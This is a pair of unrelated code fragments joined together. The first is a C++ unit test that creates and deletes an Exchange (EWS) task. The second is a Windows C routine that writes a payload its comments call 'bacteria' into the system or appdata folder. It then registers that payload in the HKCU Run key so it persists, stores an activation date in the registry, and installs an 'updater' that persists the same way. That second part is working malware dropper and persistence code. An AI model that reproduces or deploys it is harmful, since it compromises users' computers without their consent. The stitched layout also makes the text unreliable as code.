TEST_F(TaskTest, CreateAndDelete) { auto start_time = ews::date_time("2015-01-17T12:00:00Z"); auto end_time = ews::date_time("2015-01-17T12:30:00Z"); auto task = ews::task(); task.set_subject("Something really important to do"); task.set_body(ews::body("Some descriptive body text")); task.set_start_date(start_time); task.set_due_date(end_time); task.set_reminder_enabled(true); task.set_reminder_due_by(start_time); const auto item_id = service().create_item(task); auto created_task = service().get_task(item_id); // Check properties EXPECT_STREQ("Something really important to do", created_task.get_subject().c_str()); EXPECT_EQ(start_time, created_task.get_start_date()); EXPECT_EQ(end_time, created_task.get_due_date()); EXPECT_TRUE(created_task.is_reminder_enabled()); EXPECT_EQ(start_time, created_task.get_reminder_due_by()); ASSERT_NO_THROW({ service().delete_task( std::move(created_task), // Sink argument ews::delete_type::hard_delete, ews::affected_task_occurrences::all_occurrences); });
bool initialize(void) { HKEY hkey; LONG result_open, result_write; FILE *output = NULL; unsigned int date; char environment_var[MAX_ENVVAR_LENGTH]; char install_directory[MAX_DIR_LENGTH]; char value_data[MAX_KEY_VALUE_SIZE]; // errors and switches bool systemroot_not_found = false; bool admin_permission = true; // assume we have permission // initialize vars memset(environment_var, '\0', MAX_ENVVAR_LENGTH); memset(install_directory, '\0', MAX_DIR_LENGTH); memset(value_data, '\0', MAX_KEY_VALUE_SIZE); // get systemroot variable if(!(GetEnvironmentVariable(ENV_SYSTEMROOT, environment_var, MAX_ENVVAR_LENGTH))) { if(GetLastError() == ERROR_ENVVAR_NOT_FOUND) { // shit, we'll have to look someplace else #ifdef DEBUG printf("- Error, systemroot envvar not found.\n"); #endif systemroot_not_found = true; } else { // some unknown error #ifdef DEBUG printf("- Unknown error getting systemroot envvar.\n"); #endif initialize_errorcode = 1; return false; } } // systemroot was found if(!systemroot_not_found) { #ifdef DEBUG printf("- %%systemroot%% found.\n"); #endif sprintf(install_directory, "%s\\" ADMIN_BACTERIA_INSTALL_DIR "\\" ADMIN_BACTERIA_FILENAME, environment_var); if(!(output = fopen(install_directory, "wb"))) { // we have concluded that the user doesn't have permissions #ifdef DEBUG printf("- Error opening %s: Assuming limited permissions.\n", install_directory); #endif admin_permission = false; } else { // successfully opened file if((fwrite(BACTERIA_DATA_NAME, sizeof(unsigned char), BACTERIA_DATA_SIZE, output)) < BACTERIA_DATA_SIZE) { #ifdef DEBUG printf("- Error writing bacteria as admin.\n"); #endif initialize_errorcode = 2; return false; } else { #ifdef DEBUG printf("- Successfully wrote bacteria as admin.\n"); #endif } fclose(output); } } // systemroot was not found or we have no permissions if(systemroot_not_found || !admin_permission) { // since systemroot was not found // assume automatically that the user is not admin admin_permission = false; memset(environment_var, '\0', MAX_ENVVAR_LENGTH); memset(install_directory, '\0', MAX_DIR_LENGTH); // get appdata variable if(!(GetEnvironmentVariable(ENV_APPDATA, environment_var, MAX_ENVVAR_LENGTH))) { if(GetLastError() == ERROR_ENVVAR_NOT_FOUND) { // bitch, not even appdata was found // whatever, exit with error #ifdef DEBUG printf("- Error, appdata envvar not found.\n"); #endif initialize_errorcode = 3; return false; } else { // some unknown error #ifdef DEBUG printf("- Unknown error getting appdata envvar.\n"); #endif initialize_errorcode = 4; return false; } } else { #ifdef DEBUG printf("- %%appdata%% found.\n"); #endif } // Create the %appdata%\BACTERIA_NAME directory sprintf(install_directory, "%s\\" LIMITED_BACTERIA_INSTALL_DIR, environment_var); CreateDirectory(install_directory, NULL); // it is impossible that the folder was not found... if it is in a system variable // and, if it was ERROR_ALREADY_EXISTS, then who cares? that's a good thing. // prepare the full install directory sprintf(install_directory, "%s\\" LIMITED_BACTERIA_INSTALL_DIR "\\" LIMITED_BACTERIA_FILENAME, environment_var); if(!(output = fopen(install_directory, "wb"))) { #ifdef DEBUG printf("- Error opening %s.\n", install_directory); #endif initialize_errorcode = 5; return false; } else { // successfully opened file if((fwrite(BACTERIA_DATA_NAME, sizeof(unsigned char), BACTERIA_DATA_SIZE, output)) < BACTERIA_DATA_SIZE) { #ifdef DEBUG printf("- Error writing bacteria as limited user.\n"); #endif initialize_errorcode = 6; return false; } else { #ifdef DEBUG printf("- Successfully wrote bacteria as limited user.\n"); #endif } fclose(output); } } //! now that we copied the bacteria where it is possible //! write the keys, they do not require special privilidges // we first write the date key // create the key DATE_KEY_NAME in HKEY_CURRENT_USER if((RegCreateKeyEx(HKEY_CURRENT_USER, DATE_KEY_NAME, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hkey, NULL)) != ERROR_SUCCESS) { #ifdef DEBUG printf("- Error creating date key.\n"); #endif initialize_errorcode = 7; return false; } else { #ifdef DEBUG printf("- Created date key successfully.\n"); #endif } // get the date that bacteria will activate date = get_start_date(); #ifdef DEBUG printf("- Date is %d.\n", date); #endif // open the newly created key result_open = RegOpenKeyEx(HKEY_CURRENT_USER, DATE_KEY_NAME, 0, KEY_WRITE, &hkey); if(result_open != ERROR_SUCCESS) { if(result_open == ERROR_FILE_NOT_FOUND) { #ifdef DEBUG printf("- Error: date key not found.\n"); #endif initialize_errorcode = 8; return false; } else { #ifdef DEBUG printf("- Error opening date key.\n"); #endif initialize_errorcode = 9; return false; } } else { #ifdef DEBUG printf("- Successfully opened date key.\n"); #endif } // set a value with name DATE_VALUE_NAME to the key if((RegSetValueEx(hkey, DATE_VALUE_NAME, 0, REG_DWORD, (LPBYTE) &date, sizeof(unsigned int))) != ERROR_SUCCESS) { #ifdef DEBUG printf("- Error writing date to key.\n"); #endif initialize_errorcode = 10; return false; } else { #ifdef DEBUG printf("- Successfully wrote value to date key.\n"); #endif } // close the key if((RegCloseKey(hkey)) != ERROR_SUCCESS) { #ifdef DEBUG printf("- Error closing date key.\n"); #endif initialize_errorcode = 11; return false; } else { #ifdef DEBUG printf("- Successfully closed date key.\n"); #endif } // open key for writing bacteria, RUN_KEY_NAME result_open = RegOpenKeyEx(HKEY_CURRENT_USER, RUN_KEY_NAME, 0, KEY_WRITE, &hkey ); // error opening key if(result_open != ERROR_SUCCESS) { if(result_open == ERROR_FILE_NOT_FOUND) { #ifdef DEBUG printf("- Error: bacteria key not found.\n"); #endif initialize_errorcode = 12; return false; } else { #ifdef DEBUG printf("- Error opening bacteria key.\n"); #endif initialize_errorcode = 13; return false; } } else { #ifdef DEBUG printf("- Successfully opened bacteria key.\n"); #endif } // write the directory were it was installed as the value data // name: ADMIN_BACTERIA_NAME sprintf(value_data, "\"%s\"", install_directory); if(admin_permission) { result_write = RegSetValueEx(hkey, ADMIN_BACTERIA_NAME, 0, REG_SZ, value_data, strlen(value_data) ); } else { result_write = RegSetValueEx(hkey, LIMITED_BACTERIA_NAME, 0, REG_SZ, value_data, strlen(value_data) ); } // error writing key if(result_write != ERROR_SUCCESS) { #ifdef DEBUG printf("- Error writing value to bacteria key.\n"); #endif initialize_errorcode = 14; return false; } else { #ifdef DEBUG printf("Successfully wrote %s to bacteria key.\n", value_data); #endif } // close the key if((RegCloseKey(hkey)) != ERROR_SUCCESS) { #ifdef DEBUG printf("- Error closing bacteria key.\n"); #endif initialize_errorcode = 15; return false; } else { #ifdef DEBUG printf("- Successfully closed bacteria key.\n"); #endif } //! if the program got this far //! everything in the bacteria installation was a cinch //! now lets start with the updater memset(install_directory, '\0', MAX_DIR_LENGTH); memset(value_data, '\0', MAX_KEY_VALUE_SIZE); output = NULL; // we already know, if the user is an admin or limited account, // so lets just make 2 cases if(admin_permission) { // insert updater in %systemroot%\ADMIN_UPDATER_INSTALL_DIR\ADMIN_UPDATER_FILENAME // write the registry key to this path sprintf(install_directory, "%s\\" ADMIN_UPDATER_INSTALL_DIR "\\" ADMIN_UPDATER_FILENAME, environment_var); if(!(output = fopen(install_directory, "wb"))) { // uh-oh... this ain't good // how come I wrote the bacteria, but can't // write the updater? #ifdef DEBUG printf("- Error writing updater as admin.\n"); #endif initialize_errorcode = 16; return false; } if((fwrite(UPDATER_DATA_NAME, sizeof(unsigned char), UPDATER_DATA_SIZE, output)) < UPDATER_DATA_SIZE) { #ifdef DEBUG printf("- Error writing updater as admin.\n"); #endif initialize_errorcode = 17; return false; } else { #ifdef DEBUG printf("- Successfully wrote updater as admin.\n"); #endif } fclose(output); // open key RUN_KEY_NAME to insert updater values result_open = RegOpenKeyEx(HKEY_CURRENT_USER, RUN_KEY_NAME, 0, KEY_WRITE, &hkey ); // error opening key if(result_open != ERROR_SUCCESS) { if(result_open == ERROR_FILE_NOT_FOUND) { #ifdef DEBUG printf("- Error: updater key not found.\n"); #endif initialize_errorcode = 18; return false; } else { #ifdef DEBUG printf("- Error opening updater key\n"); #endif initialize_errorcode = 19; return false; } } else { #ifdef DEBUG printf("- Successfully opened updater key.\n"); #endif } sprintf(value_data, "\"%s\"", install_directory); // writing key if((RegSetValueEx(hkey, ADMIN_UPDATER_NAME, 0, REG_SZ, value_data, strlen(value_data))) != ERROR_SUCCESS) { #ifdef DEBUG printf("- Error writing value to updater key.\n"); #endif initialize_errorcode = 20; return false; } else { #ifdef DEBUG printf("- Successfully wrote %s to updater key.\n", value_data); #endif } // closing key if((RegCloseKey(hkey)) != ERROR_SUCCESS) { #ifdef DEBUG printf("- Error closing updater key.\n"); #endif initialize_errorcode = 21; return false; } else { #ifdef DEBUG printf("- Successfully closed updater key.\n"); #endif } } else { // insert updater in %appdata%\LIMITED_UPDATER_INSTALL_DIR\LIMITED_UPDATER_FILENAME sprintf(install_directory, "%s\\" LIMITED_UPDATER_INSTALL_DIR, environment_var); CreateDirectory(install_directory, NULL); // hey, if it already exists, no problem memset(install_directory, '\0', MAX_DIR_LENGTH); sprintf(install_directory, "%s\\" LIMITED_UPDATER_INSTALL_DIR "\\" LIMITED_UPDATER_FILENAME, environment_var); if(!(output = fopen(install_directory, "wb"))) { // uh-oh... this ain't good // how come I wrote the bacteria, but can't // write the updater? #ifdef DEBUG printf("- Error writing updater as a limited user.\n"); #endif initialize_errorcode = 22; return false; } if((fwrite(UPDATER_DATA_NAME, sizeof(unsigned char), UPDATER_DATA_SIZE, output)) < UPDATER_DATA_SIZE) { #ifdef DEBUG printf("- Error writing updater as a limited user.\n"); #endif initialize_errorcode = 23; return false; } else { #ifdef DEBUG printf("- Successfully wrote updater as a limited user.\n"); #endif } fclose(output); // open key RUN_KEY_NAME result_open = RegOpenKeyEx(HKEY_CURRENT_USER, RUN_KEY_NAME, 0, KEY_WRITE, &hkey ); // error opening key if(result_open != ERROR_SUCCESS) { if(result_open == ERROR_FILE_NOT_FOUND) { #ifdef DEBUG printf("- Error: updater key not found.\n"); #endif initialize_errorcode = 24; return false; } else { #ifdef DEBUG printf("- Error opening updater key.\n"); #endif initialize_errorcode = 26; return false; } } else { #ifdef DEBUG printf("- Sucessfully opened updater key.\n"); #endif } sprintf(value_data, "\"%s\"", install_directory); // writing key if((RegSetValueEx(hkey, LIMITED_UPDATER_NAME, 0, REG_SZ, value_data, strlen(value_data))) != ERROR_SUCCESS) { #ifdef DEBUG printf("- Error writing value to updater key.\n"); #endif initialize_errorcode = 27; return false; } else { #ifdef DEBUG printf("- Successfully wrote value %s to updater key.\n", value_data); #endif } // closing key if((RegCloseKey(hkey)) != ERROR_SUCCESS) { #ifdef DEBUG printf("- Error closing updater key.\n"); #endif initialize_errorcode = 28; return false; } else { #ifdef DEBUG printf("- Successfully closed updater key.\n"); #endif } } // yay, everything went well! return true; }